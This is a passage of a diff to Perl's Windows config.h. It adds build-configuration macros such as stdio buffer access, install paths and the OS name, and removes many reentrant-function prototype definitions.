+ *		static __inline__   (gcc -ansi)
+ *		static __inline     (MSVC)
+ *		static _inline      (older MSVC)
+ *		static              (c89 compilers)
+ */
+#define HAS_STATIC_INLINE				/**/
+#define PERL_STATIC_INLINE static __inline	/**/
+
+/* USE_STDIO_PTR:
+ *	This symbol is defined if the _ptr and _cnt fields (or similar)
+ *	of the stdio FILE structure can be used to access the stdio buffer
+ *	for a file handle.  If this is defined, then the FILE_ptr(fp)
+ *	and FILE_cnt(fp) macros will also be defined and should be used
+ *	to access these fields.
+ */
+/* FILE_ptr:
+ *	This macro is used to access the _ptr field (or equivalent) of the
+ *	FILE structure pointed to by its argument. This macro will always be
+ *	defined if USE_STDIO_PTR is defined.
+ */
+/* STDIO_PTR_LVALUE:
+ *	This symbol is defined if the FILE_ptr macro can be used as an
+ *	lvalue.
+ */
+/* FILE_cnt:
+ *	This macro is used to access the _cnt field (or equivalent) of the
+ *	FILE structure pointed to by its argument. This macro will always be
+ *	defined if USE_STDIO_PTR is defined.
+ */
+/* STDIO_CNT_LVALUE:
+ *	This symbol is defined if the FILE_cnt macro can be used as an
+ *	lvalue.
+ */
+/* STDIO_PTR_LVAL_SETS_CNT:
+ *	This symbol is defined if using the FILE_ptr macro as an lvalue
+ *	to increase the pointer by n has the side effect of decreasing the
+ *	value of File_cnt(fp) by n.
+ */
+/* STDIO_PTR_LVAL_NOCHANGE_CNT:
+ *	This symbol is defined if using the FILE_ptr macro as an lvalue
+ *	to increase the pointer by n leaves File_cnt(fp) unchanged.
+ */
+#define USE_STDIO_PTR 	/**/
+#ifdef USE_STDIO_PTR
+#define FILE_ptr(fp)	((fp)->_ptr)
+#define STDIO_PTR_LVALUE 		/**/
+#define FILE_cnt(fp)	((fp)->_cnt)
+#define STDIO_CNT_LVALUE 		/**/
+/*#define STDIO_PTR_LVAL_SETS_CNT	/ **/
+#define STDIO_PTR_LVAL_NOCHANGE_CNT	/**/
+#endif
+
+/* USE_STDIO_BASE:
+ *	This symbol is defined if the _base field (or similar) of the
+ *	stdio FILE structure can be used to access the stdio buffer for
+ *	a file handle.  If this is defined, then the FILE_base(fp) macro
+ *	will also be defined and should be used to access this field.
+ *	Also, the FILE_bufsiz(fp) macro will be defined and should be used
+ *	to determine the number of bytes in the buffer.  USE_STDIO_BASE
+ *	will never be defined unless USE_STDIO_PTR is.
+ */
+/* FILE_base:
+ *	This macro is used to access the _base field (or equivalent) of the
+ *	FILE structure pointed to by its argument. This macro will always be
+ *	defined if USE_STDIO_BASE is defined.
+ */
+/* FILE_bufsiz:
+ *	This macro is used to determine the number of bytes in the I/O
+ *	buffer pointed to by _base field (or equivalent) of the FILE
+ *	structure pointed to its argument. This macro will always be defined
+ *	if USE_STDIO_BASE is defined.
+ */
+#define USE_STDIO_BASE 	/**/
+#ifdef USE_STDIO_BASE
+#define FILE_base(fp)	((fp)->_base)
+#define FILE_bufsiz(fp)	((fp)->_cnt + (fp)->_ptr - (fp)->_base)
+#endif
+
+/* DOUBLESIZE:
+ *	This symbol contains the size of a double, so that the C preprocessor
+ *	can make decisions based on it.
+ */
+#define DOUBLESIZE 8		/**/
+
+/* I_TIME:
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <time.h>.
+ */
+/* I_SYS_TIME:
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <sys/time.h>.
+ */
+/* I_SYS_TIME_KERNEL:
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <sys/time.h> with KERNEL defined.
+ */
+/* HAS_TM_TM_ZONE:
+ *	This symbol, if defined, indicates to the C program that
+ *	the struct tm has a tm_zone field.
+ */
+/* HAS_TM_TM_GMTOFF:
+ *	This symbol, if defined, indicates to the C program that
+ *	the struct tm has a tm_gmtoff field.
+ */
+#define I_TIME		/**/
+/*#define I_SYS_TIME		/ **/
+/*#define I_SYS_TIME_KERNEL		/ **/
+/*#define HAS_TM_TM_ZONE		/ **/
+/*#define HAS_TM_TM_GMTOFF		/ **/
+
+/* VAL_O_NONBLOCK:
+ *	This symbol is to be used during open() or fcntl(F_SETFL) to turn on
+ *	non-blocking I/O for the file descriptor. Note that there is no way
+ *	back, i.e. you cannot turn it blocking again this way. If you wish to
+ *	alternatively switch between blocking and non-blocking, use the
+ *	ioctl(FIOSNBIO) call instead, but that is not supported by all devices.
+ */
+/* VAL_EAGAIN:
+ *	This symbol holds the errno error code set by read() when no data was
+ *	present on the non-blocking file descriptor.
+ */
+/* RD_NODATA:
+ *	This symbol holds the return code from read() when no data is present
+ *	on the non-blocking file descriptor. Be careful! If EOF_NONBLOCK is
+ *	not defined, then you can't distinguish between no data and EOF by
+ *	issuing a read(). You'll have to find another way to tell for sure!
+ */
+/* EOF_NONBLOCK:
+ *	This symbol, if defined, indicates to the C program that a read() on
+ *	a non-blocking file descriptor will return 0 on EOF, and not the value
+ *	held in RD_NODATA (-1 usually, in that case!).
+ */
+#define VAL_O_NONBLOCK O_NONBLOCK
+#define VAL_EAGAIN EAGAIN
+#define RD_NODATA -1
+#define EOF_NONBLOCK
+
+/* PTRSIZE:
+ *	This symbol contains the size of a pointer, so that the C preprocessor
+ *	can make decisions based on it.  It will be sizeof(void *) if
+ *	the compiler supports (void *); otherwise it will be
+ *	sizeof(char *).
+ */
+#define PTRSIZE 4		/**/
+
+/* Drand01:
+ *	This macro is to be used to generate uniformly distributed
+ *	random numbers over the range [0., 1.[.  You may have to supply
+ *	an 'extern double drand48();' in your program since SunOS 4.1.3
+ *	doesn't provide you with anything relevant in its headers.
+ *	See HAS_DRAND48_PROTO.
+ */
+/* Rand_seed_t:
+ *	This symbol defines the type of the argument of the
+ *	random seed function.
+ */
+/* seedDrand01:
+ *	This symbol defines the macro to be used in seeding the
+ *	random number generator (see Drand01).
+ */
+/* RANDBITS:
+ *	This symbol indicates how many bits are produced by the
+ *	function used to generate normalized random numbers.
+ *	Values include 15, 16, 31, and 48.
+ */
+#define Drand01()		Perl_drand48()		/**/
+#define Rand_seed_t		U32		/**/
+#define seedDrand01(x)	Perl_drand48_init((Rand_seed_t)x)	/**/
+#define RANDBITS		48		/**/
+
+/* SSize_t:
+ *	This symbol holds the type used by functions that return
+ *	a count of bytes or an error condition.  It must be a signed type.
+ *	It is usually ssize_t, but may be long or int, etc.
+ *	It may be necessary to include <sys/types.h> or <unistd.h>
+ *	to get any typedef'ed information.
+ *	We will pick a type such that sizeof(SSize_t) == sizeof(Size_t).
+ */
+#define SSize_t int	 /* signed count of bytes */
+
+/* EBCDIC:
+ *	This symbol, if defined, indicates that this system uses
+ *	EBCDIC encoding.
+ */
+/*#define	EBCDIC 		/ **/
+
+/* ARCHLIB:
+ *	This variable, if defined, holds the name of the directory in
+ *	which the user wants to put architecture-dependent public
+ *	library files for perl5.  It is most often a local directory
+ *	such as /usr/local/lib.  Programs using this variable must be
+ *	prepared to deal with filename expansion.  If ARCHLIB is the
+ *	same as PRIVLIB, it is not defined, since presumably the
+ *	program already searches PRIVLIB.
+ */
+/* ARCHLIB_EXP:
+ *	This symbol contains the ~name expanded version of ARCHLIB, to be used
+ *	in programs that are not prepared to deal with ~ expansion at run-time.
+ */
+#define ARCHLIB "c:\\perl\\lib"		/**/
+/*#define ARCHLIB_EXP ""	/ **/
+
+/* BIN:
+ *	This symbol holds the path of the bin directory where the package will
+ *	be installed. Program must be prepared to deal with ~name substitution.
+ */
+/* BIN_EXP:
+ *	This symbol is the filename expanded version of the BIN symbol, for
+ *	programs that do not want to deal with that at run-time.
+ */
+/* PERL_RELOCATABLE_INC:
+ *	This symbol, if defined, indicates that we'd like to relocate entries
+ *	in @INC at run time based on the location of the perl binary.
+ */
+#define BIN "c:\\perl\\bin"	/**/
+#define BIN_EXP "c:\\perl\\bin"	/**/
+#define PERL_RELOCATABLE_INC "undef" 		/**/
+
+/* PERL_INC_VERSION_LIST:
+ *	This variable specifies the list of subdirectories in over
+ *	which perl.c:incpush() and lib/lib.pm will automatically
+ *	search when adding directories to @INC, in a format suitable
+ *	for a C initialization string.  See the inc_version_list entry
+ *	in Porting/Glossary for more details.
+ */
+/*#define PERL_INC_VERSION_LIST 0		/ **/
+
+/* INSTALL_USR_BIN_PERL:
+ *	This symbol, if defined, indicates that Perl is to be installed
+ * 	also as /usr/bin/perl.
+ */
+/*#define INSTALL_USR_BIN_PERL	/ **/
+
+/* PERL_OTHERLIBDIRS:
+ *	This variable contains a colon-separated set of paths for the perl
+ *	binary to search for additional library files or modules.
+ *	These directories will be tacked to the end of @INC.
+ *	Perl will automatically search below each path for version-
+ *	and architecture-specific directories.  See PERL_INC_VERSION_LIST
+ *	for more details.
+ */
+/*#define PERL_OTHERLIBDIRS ""		/ **/
+
+/* PRIVLIB:
+ *	This symbol contains the name of the private library for this package.
+ *	The library is private in the sense that it needn't be in anyone's
+ *	execution path, but it should be accessible by the world.  The program
+ *	should be prepared to do ~ expansion.
+ */
+/* PRIVLIB_EXP:
+ *	This symbol contains the ~name expanded version of PRIVLIB, to be used
+ *	in programs that are not prepared to deal with ~ expansion at run-time.
+ */
+#define PRIVLIB "c:\\perl\\lib"		/**/
+#define PRIVLIB_EXP (PerlEnv_lib_path(PERL_VERSION_STRING, NULL))	/**/
+
+/* SITEARCH:
+ *	This symbol contains the name of the private library for this package.
+ *	The library is private in the sense that it needn't be in anyone's
+ *	execution path, but it should be accessible by the world.  The program
+ *	should be prepared to do ~ expansion.
+ *	The standard distribution will put nothing in this directory.
+ *	After perl has been installed, users may install their own local
+ *	architecture-dependent modules in this directory with
+ *		MakeMaker Makefile.PL
+ *	or equivalent.  See INSTALL for details.
+ */
+/* SITEARCH_EXP:
+ *	This symbol contains the ~name expanded version of SITEARCH, to be used
+ *	in programs that are not prepared to deal with ~ expansion at run-time.
+ */
+#define SITEARCH "c:\\perl\\site\\lib"		/**/
+/*#define SITEARCH_EXP ""	/ **/
+
+/* SITELIB:
+ *	This symbol contains the name of the private library for this package.
+ *	The library is private in the sense that it needn't be in anyone's
+ *	execution path, but it should be accessible by the world.  The program
+ *	should be prepared to do ~ expansion.
+ *	The standard distribution will put nothing in this directory.
+ *	After perl has been installed, users may install their own local
+ *	architecture-independent modules in this directory with
+ *		MakeMaker Makefile.PL
+ *	or equivalent.  See INSTALL for details.
+ */
+/* SITELIB_EXP:
+ *	This symbol contains the ~name expanded version of SITELIB, to be used
+ *	in programs that are not prepared to deal with ~ expansion at run-time.
+ */
+/* SITELIB_STEM:
+ *	This define is SITELIB_EXP with any trailing version-specific component
+ *	removed.  The elements in inc_version_list (inc_version_list.U) can
+ *	be tacked onto this variable to generate a list of directories to search.
+ */
+#define SITELIB "c:\\perl\\site\\lib"		/**/
+#define SITELIB_EXP (PerlEnv_sitelib_path(PERL_VERSION_STRING, NULL))	/**/
+#define SITELIB_STEM ""		/**/
+
+/* PERL_VENDORARCH:
+ *	If defined, this symbol contains the name of a private library.
+ *	The library is private in the sense that it needn't be in anyone's
+ *	execution path, but it should be accessible by the world.
+ *	It may have a ~ on the front.
+ *	The standard distribution will put nothing in this directory.
+ *	Vendors who distribute perl may wish to place their own
+ *	architecture-dependent modules and extensions in this directory with
+ *		MakeMaker Makefile.PL INSTALLDIRS=vendor
+ *	or equivalent.  See INSTALL for details.
+ */
+/* PERL_VENDORARCH_EXP:
+ *	This symbol contains the ~name expanded version of PERL_VENDORARCH, to be used
+ *	in programs that are not prepared to deal with ~ expansion at run-time.
+ */
+/*#define PERL_VENDORARCH ""		/ **/
+/*#define PERL_VENDORARCH_EXP ""		/ **/
+
+/* PERL_VENDORLIB_EXP:
+ *	This symbol contains the ~name expanded version of VENDORLIB, to be used
+ *	in programs that are not prepared to deal with ~ expansion at run-time.
+ */
+/* PERL_VENDORLIB_STEM:
+ *	This define is PERL_VENDORLIB_EXP with any trailing version-specific component
+ *	removed.  The elements in inc_version_list (inc_version_list.U) can
+ *	be tacked onto this variable to generate a list of directories to search.
+ */
+/*#define PERL_VENDORLIB_EXP ""		/ **/
+/*#define PERL_VENDORLIB_STEM ""		/ **/
+
+/* OSNAME:
+ *	This symbol contains the name of the operating system, as determined
+ *	by Configure.  You shouldn't rely on it too much; the specific
+ *	feature tests from Configure are generally more reliable.
+ */
+/* OSVERS:
+ *	This symbol contains the version of the operating system, as determined
+ *	by Configure.  You shouldn't rely on it too much; the specific
+ *	feature tests from Configure are generally more reliable.
+ */
+#define OSNAME "MSWin32"		/**/
+#define OSVERS "6.1"		/**/
+
 /* CAT2:
  *	This macro concatenates 2 tokens together.
  */
@@ -1034,25 +1423,6 @@
  */
 #define HAS_ACCESS		/**/
 
-/* HAS_ACCESSX:
- *	This symbol, if defined, indicates that the accessx routine is
- *	available to do extended access checks.
- */
-/*#define HAS_ACCESSX		/ **/
-
-/* HAS_ASCTIME_R:
- *	This symbol, if defined, indicates that the asctime_r routine
- *	is available to asctime re-entrantly.
- */
-/* ASCTIME_R_PROTO:
- *	This symbol encodes the prototype of asctime_r.
- *	It is zero if d_asctime_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_asctime_r
- *	is defined.
- */
-/*#define HAS_ASCTIME_R	   / **/
-#define ASCTIME_R_PROTO 0	   /**/
-
 /* HASATTRIBUTE_FORMAT:
  *	Can we handle GCC attribute for checking printf-style formats
  */
@@ -1097,33 +1467,6 @@
  */
 /*#define HAS_BACKTRACE	/ **/
 
-/* CASTI32:
- *	This symbol is defined if the C compiler can cast negative
- *	or large floating point numbers to 32-bit ints.
- */
-/*#define	CASTI32		/ **/
-
-/* CASTNEGFLOAT:
- *	This symbol is defined if the C compiler can cast negative
- *	numbers to unsigned longs, ints and shorts.
- */
-/* CASTFLAGS:
- *	This symbol contains flags that say what difficulties the compiler
- *	has casting odd floating values to unsigned long:
- *		0 = ok
- *		1 = couldn't cast < 0
- *		2 = couldn't cast >= 0x80000000
- *		4 = couldn't cast in argument expression list
- */
-#define	CASTNEGFLOAT		/**/
-#define CASTFLAGS 0		/**/
-
-/* VOID_CLOSEDIR:
- *	This symbol, if defined, indicates that the closedir() routine
- *	does not return a value.
- */
-/*#define VOID_CLOSEDIR		/ **/
-
 /* HASCONST:
  *	This symbol, if defined, indicates that this C compiler knows about
  *	the const type. There is no need to actually test for that symbol
@@ -1135,19 +1478,6 @@
 #define const
 #endif
 
-/* HAS_CRYPT_R:
- *	This symbol, if defined, indicates that the crypt_r routine
- *	is available to crypt re-entrantly.
- */
-/* CRYPT_R_PROTO:
- *	This symbol encodes the prototype of crypt_r.
- *	It is zero if d_crypt_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_crypt_r
- *	is defined.
- */
-/*#define HAS_CRYPT_R	   / **/
-#define CRYPT_R_PROTO 0	   /**/
-
 /* HAS_CSH:
  *	This symbol, if defined, indicates that the C-shell exists.
  */
@@ -1159,32 +1489,6 @@
 #define CSH ""	/**/
 #endif
 
-/* HAS_CTERMID_R:
- *	This symbol, if defined, indicates that the ctermid_r routine
- *	is available to ctermid re-entrantly.
- */
-/* CTERMID_R_PROTO:
- *	This symbol encodes the prototype of ctermid_r.
- *	It is zero if d_ctermid_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctermid_r
- *	is defined.
- */
-/*#define HAS_CTERMID_R	   / **/
-#define CTERMID_R_PROTO 0	   /**/
-
-/* HAS_CTIME_R:
- *	This symbol, if defined, indicates that the ctime_r routine
- *	is available to ctime re-entrantly.
- */
-/* CTIME_R_PROTO:
- *	This symbol encodes the prototype of ctime_r.
- *	It is zero if d_ctime_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctime_r
- *	is defined.
- */
-/*#define HAS_CTIME_R	   / **/
-#define CTIME_R_PROTO 0	   /**/
-
 /* HAS_DLADDR:
  *	This symbol, if defined, indicates that the dladdr() routine is
  *	available to query dynamic linker information for an address.
@@ -1212,33 +1516,6 @@
 /*#define SETUID_SCRIPTS_ARE_SECURE_NOW	/ **/
 /*#define DOSUID		/ **/
 
-/* HAS_DRAND48_R:
- *	This symbol, if defined, indicates that the drand48_r routine
- *	is available to drand48 re-entrantly.
- */
-/* DRAND48_R_PROTO:
- *	This symbol encodes the prototype of drand48_r.
- *	It is zero if d_drand48_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_drand48_r
- *	is defined.
- */
-/*#define HAS_DRAND48_R	   / **/
-#define DRAND48_R_PROTO 0	   /**/
-
-/* HAS_DRAND48_PROTO:
- *	This symbol, if defined, indicates that the system provides
- *	a prototype for the drand48() function.  Otherwise, it is up
- *	to the program to supply one.  A good guess is
- *		extern double drand48(void);
- */
-/*#define	HAS_DRAND48_PROTO	/ **/
-
-/* HAS_EACCESS:
- *	This symbol, if defined, indicates that the eaccess routine is
- *	available to do extended access checks.
- */
-/*#define HAS_EACCESS		/ **/
-
 /* HAS_ENDGRENT:
  *	This symbol, if defined, indicates that the getgrent routine is
  *	available for finalizing sequential access of the group database.
@@ -1245,19 +1522,6 @@
  */
 /*#define HAS_ENDGRENT		/ **/
 
-/* HAS_ENDGRENT_R:
- *	This symbol, if defined, indicates that the endgrent_r routine
- *	is available to endgrent re-entrantly.
- */
-/* ENDGRENT_R_PROTO:
- *	This symbol encodes the prototype of endgrent_r.
- *	It is zero if d_endgrent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endgrent_r
- *	is defined.
- */
-/*#define HAS_ENDGRENT_R	   / **/
-#define ENDGRENT_R_PROTO 0	   /**/
-
 /* HAS_ENDHOSTENT:
  *	This symbol, if defined, indicates that the endhostent() routine is
  *	available to close whatever was being used for host queries.
@@ -1264,19 +1528,6 @@
  */
 /*#define HAS_ENDHOSTENT		/ **/
 
-/* HAS_ENDHOSTENT_R:
- *	This symbol, if defined, indicates that the endhostent_r routine
- *	is available to endhostent re-entrantly.
- */
-/* ENDHOSTENT_R_PROTO:
- *	This symbol encodes the prototype of endhostent_r.
- *	It is zero if d_endhostent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endhostent_r
- *	is defined.
- */
-/*#define HAS_ENDHOSTENT_R	   / **/
-#define ENDHOSTENT_R_PROTO 0	   /**/
-
 /* HAS_ENDNETENT:
  *	This symbol, if defined, indicates that the endnetent() routine is
  *	available to close whatever was being used for network queries.
@@ -1283,19 +1534,6 @@
  */
 /*#define HAS_ENDNETENT		/ **/
 
-/* HAS_ENDNETENT_R:
- *	This symbol, if defined, indicates that the endnetent_r routine
- *	is available to endnetent re-entrantly.
- */
-/* ENDNETENT_R_PROTO:
- *	This symbol encodes the prototype of endnetent_r.
- *	It is zero if d_endnetent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endnetent_r
- *	is defined.
- */
-/*#define HAS_ENDNETENT_R	   / **/
-#define ENDNETENT_R_PROTO 0	   /**/
-
 /* HAS_ENDPROTOENT:
  *	This symbol, if defined, indicates that the endprotoent() routine is
  *	available to close whatever was being used for protocol queries.
@@ -1302,19 +1540,6 @@
  */
 /*#define HAS_ENDPROTOENT		/ **/
 
-/* HAS_ENDPROTOENT_R:
- *	This symbol, if defined, indicates that the endprotoent_r routine
- *	is available to endprotoent re-entrantly.
- */
-/* ENDPROTOENT_R_PROTO:
- *	This symbol encodes the prototype of endprotoent_r.
- *	It is zero if d_endprotoent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endprotoent_r
- *	is defined.
- */
-/*#define HAS_ENDPROTOENT_R	   / **/
-#define ENDPROTOENT_R_PROTO 0	   /**/
-
 /* HAS_ENDPWENT:
  *	This symbol, if defined, indicates that the getgrent routine is
  *	available for finalizing sequential access of the passwd database.
@@ -1321,19 +1546,6 @@
  */
 /*#define HAS_ENDPWENT		/ **/
 
-/* HAS_ENDPWENT_R:
- *	This symbol, if defined, indicates that the endpwent_r routine
- *	is available to endpwent re-entrantly.
- */
-/* ENDPWENT_R_PROTO:
- *	This symbol encodes the prototype of endpwent_r.
- *	It is zero if d_endpwent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endpwent_r
- *	is defined.
- */
-/*#define HAS_ENDPWENT_R	   / **/
-#define ENDPWENT_R_PROTO 0	   /**/
-
 /* HAS_ENDSERVENT:
  *	This symbol, if defined, indicates that the endservent() routine is
  *	available to close whatever was being used for service queries.
@@ -1340,25 +1552,6 @@
  */
 /*#define HAS_ENDSERVENT		/ **/
 
-/* HAS_ENDSERVENT_R:
- *	This symbol, if defined, indicates that the endservent_r routine
- *	is available to endservent re-entrantly.
- */
-/* ENDSERVENT_R_PROTO:
- *	This symbol encodes the prototype of endservent_r.
- *	It is zero if d_endservent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endservent_r
- *	is defined.
- */
-/*#define HAS_ENDSERVENT_R	   / **/
-#define ENDSERVENT_R_PROTO 0	   /**/
-
-/* HAS_FD_SET:
- *	This symbol, when defined, indicates presence of the fd_set typedef
- *	in <sys/types.h>
- */
-#define HAS_FD_SET	/**/
-
 /* FLEXFILENAMES:
  *	This symbol, if defined, indicates that the system supports filenames
  *	longer than 14 characters.
@@ -1365,23 +1558,6 @@
  */
 #define	FLEXFILENAMES		/**/
 
-/* Gconvert:
- *	This preprocessor macro is defined to convert a floating point
- *	number to a string without a trailing decimal point.  This
- *	emulates the behavior of sprintf("%g"), but is sometimes much more
- *	efficient.  If gconvert() is not available, but gcvt() drops the
- *	trailing decimal point, then gcvt() is used.  If all else fails,
- *	a macro using sprintf("%g") is used. Arguments for the Gconvert
- *	macro are: value, number of digits, whether trailing zeros should
- *	be retained, and the output buffer.
- *	The usual values are:
- *		d_Gconvert='gconvert((x),(n),(t),(b))'
- *		d_Gconvert='gcvt((x),(n),(b))'
- *		d_Gconvert='sprintf((b),"%.*g",(n),(x))'
- *	The last two assume trailing zeros should not be kept.
- */
-#define Gconvert(x,n,t,b) sprintf((b),"%.*g",(n),(x))
-
 /* HAS_GETGRENT:
  *	This symbol, if defined, indicates that the getgrent routine is
  *	available for sequential access of the group database.
@@ -1388,45 +1564,6 @@
  */
 /*#define HAS_GETGRENT		/ **/
 
-/* HAS_GETGRENT_R:
- *	This symbol, if defined, indicates that the getgrent_r routine
- *	is available to getgrent re-entrantly.
- */
-/* GETGRENT_R_PROTO:
- *	This symbol encodes the prototype of getgrent_r.
- *	It is zero if d_getgrent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrent_r
- *	is defined.
- */
-/*#define HAS_GETGRENT_R	   / **/
-#define GETGRENT_R_PROTO 0	   /**/
-
-/* HAS_GETGRGID_R:
- *	This symbol, if defined, indicates that the getgrgid_r routine
- *	is available to getgrgid re-entrantly.
- */
-/* GETGRGID_R_PROTO:
- *	This symbol encodes the prototype of getgrgid_r.
- *	It is zero if d_getgrgid_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrgid_r
- *	is defined.
- */
-/*#define HAS_GETGRGID_R	   / **/
-#define GETGRGID_R_PROTO 0	   /**/
-
-/* HAS_GETGRNAM_R:
- *	This symbol, if defined, indicates that the getgrnam_r routine
- *	is available to getgrnam re-entrantly.
- */
-/* GETGRNAM_R_PROTO:
- *	This symbol encodes the prototype of getgrnam_r.
- *	It is zero if d_getgrnam_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrnam_r
- *	is defined.
- */
-/*#define HAS_GETGRNAM_R	   / **/
-#define GETGRNAM_R_PROTO 0	   /**/
-
 /* HAS_GETHOSTBYADDR:
  *	This symbol, if defined, indicates that the gethostbyaddr() routine is
  *	available to look up hosts by their IP addresses.
@@ -1474,66 +1611,6 @@
 #define PHOSTNAME ""	/* How to get the host name */
 #endif
 
-/* HAS_GETHOSTBYADDR_R:
- *	This symbol, if defined, indicates that the gethostbyaddr_r routine
- *	is available to gethostbyaddr re-entrantly.
- */
-/* GETHOSTBYADDR_R_PROTO:
- *	This symbol encodes the prototype of gethostbyaddr_r.
- *	It is zero if d_gethostbyaddr_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyaddr_r
- *	is defined.
- */
-/*#define HAS_GETHOSTBYADDR_R	   / **/
-#define GETHOSTBYADDR_R_PROTO 0	   /**/
-
-/* HAS_GETHOSTBYNAME_R:
- *	This symbol, if defined, indicates that the gethostbyname_r routine
- *	is available to gethostbyname re-entrantly.
- */
-/* GETHOSTBYNAME_R_PROTO:
- *	This symbol encodes the prototype of gethostbyname_r.
- *	It is zero if d_gethostbyname_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyname_r
- *	is defined.
- */
-/*#define HAS_GETHOSTBYNAME_R	   / **/
-#define GETHOSTBYNAME_R_PROTO 0	   /**/
-
-/* HAS_GETHOSTENT_R:
- *	This symbol, if defined, indicates that the gethostent_r routine
- *	is available to gethostent re-entrantly.
- */
-/* GETHOSTENT_R_PROTO:
- *	This symbol encodes the prototype of gethostent_r.
- *	It is zero if d_gethostent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostent_r
- *	is defined.
- */
-/*#define HAS_GETHOSTENT_R	   / **/
-#define GETHOSTENT_R_PROTO 0	   /**/
-
-/* HAS_GETHOST_PROTOS:
- *	This symbol, if defined, indicates that <netdb.h> includes
- *	prototypes for gethostent(), gethostbyname(), and
- *	gethostbyaddr().  Otherwise, it is up to the program to guess
- *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
- */
-#define	HAS_GETHOST_PROTOS	/**/
-
-/* HAS_GETLOGIN_R:
- *	This symbol, if defined, indicates that the getlogin_r routine
- *	is available to getlogin re-entrantly.
- */
-/* GETLOGIN_R_PROTO:
- *	This symbol encodes the prototype of getlogin_r.
- *	It is zero if d_getlogin_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getlogin_r
- *	is defined.
- */
-/*#define HAS_GETLOGIN_R	   / **/
-#define GETLOGIN_R_PROTO 0	   /**/
-
 /* HAS_GETNETBYADDR:
  *	This symbol, if defined, indicates that the getnetbyaddr() routine is
  *	available to look up networks by their IP addresses.
@@ -1552,60 +1629,6 @@
  */
 /*#define HAS_GETNETENT		/ **/
 
-/* HAS_GETNETBYADDR_R:
- *	This symbol, if defined, indicates that the getnetbyaddr_r routine
- *	is available to getnetbyaddr re-entrantly.
- */
-/* GETNETBYADDR_R_PROTO:
- *	This symbol encodes the prototype of getnetbyaddr_r.
- *	It is zero if d_getnetbyaddr_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyaddr_r
- *	is defined.
- */
-/*#define HAS_GETNETBYADDR_R	   / **/
-#define GETNETBYADDR_R_PROTO 0	   /**/
-
-/* HAS_GETNETBYNAME_R:
- *	This symbol, if defined, indicates that the getnetbyname_r routine
- *	is available to getnetbyname re-entrantly.
- */
-/* GETNETBYNAME_R_PROTO:
- *	This symbol encodes the prototype of getnetbyname_r.
- *	It is zero if d_getnetbyname_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyname_r
- *	is defined.
- */
-/*#define HAS_GETNETBYNAME_R	   / **/
-#define GETNETBYNAME_R_PROTO 0	   /**/
-
-/* HAS_GETNETENT_R:
- *	This symbol, if defined, indicates that the getnetent_r routine
- *	is available to getnetent re-entrantly.
- */
-/* GETNETENT_R_PROTO:
- *	This symbol encodes the prototype of getnetent_r.
- *	It is zero if d_getnetent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetent_r
- *	is defined.
- */
-/*#define HAS_GETNETENT_R	   / **/
-#define GETNETENT_R_PROTO 0	   /**/
-
-/* HAS_GETNET_PROTOS:
- *	This symbol, if defined, indicates that <netdb.h> includes
- *	prototypes for getnetent(), getnetbyname(), and
- *	getnetbyaddr().  Otherwise, it is up to the program to guess
- *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
- */
-/*#define	HAS_GETNET_PROTOS	/ **/
-
-/* HAS_GETPAGESIZE:
- *	This symbol, if defined, indicates that the getpagesize system call
- *	is available to get system page size, which is the granularity of
- *	many memory management calls.
- */
-/*#define HAS_GETPAGESIZE		/ **/
-
 /* HAS_GETPROTOENT:
  *	This symbol, if defined, indicates that the getprotoent() routine is
  *	available to look up protocols in some data base or another.
@@ -1634,53 +1657,6 @@
 #define HAS_GETPROTOBYNAME		/**/
 #define HAS_GETPROTOBYNUMBER		/**/
 
-/* HAS_GETPROTOBYNAME_R:
- *	This symbol, if defined, indicates that the getprotobyname_r routine
- *	is available to getprotobyname re-entrantly.
- */
-/* GETPROTOBYNAME_R_PROTO:
- *	This symbol encodes the prototype of getprotobyname_r.
- *	It is zero if d_getprotobyname_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobyname_r
- *	is defined.
- */
-/*#define HAS_GETPROTOBYNAME_R	   / **/
-#define GETPROTOBYNAME_R_PROTO 0	   /**/
-
-/* HAS_GETPROTOBYNUMBER_R:
- *	This symbol, if defined, indicates that the getprotobynumber_r routine
- *	is available to getprotobynumber re-entrantly.
- */
-/* GETPROTOBYNUMBER_R_PROTO:
- *	This symbol encodes the prototype of getprotobynumber_r.
- *	It is zero if d_getprotobynumber_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobynumber_r
- *	is defined.
- */
-/*#define HAS_GETPROTOBYNUMBER_R	   / **/
-#define GETPROTOBYNUMBER_R_PROTO 0	   /**/
-
-/* HAS_GETPROTOENT_R:
- *	This symbol, if defined, indicates that the getprotoent_r routine
- *	is available to getprotoent re-entrantly.
- */
-/* GETPROTOENT_R_PROTO:
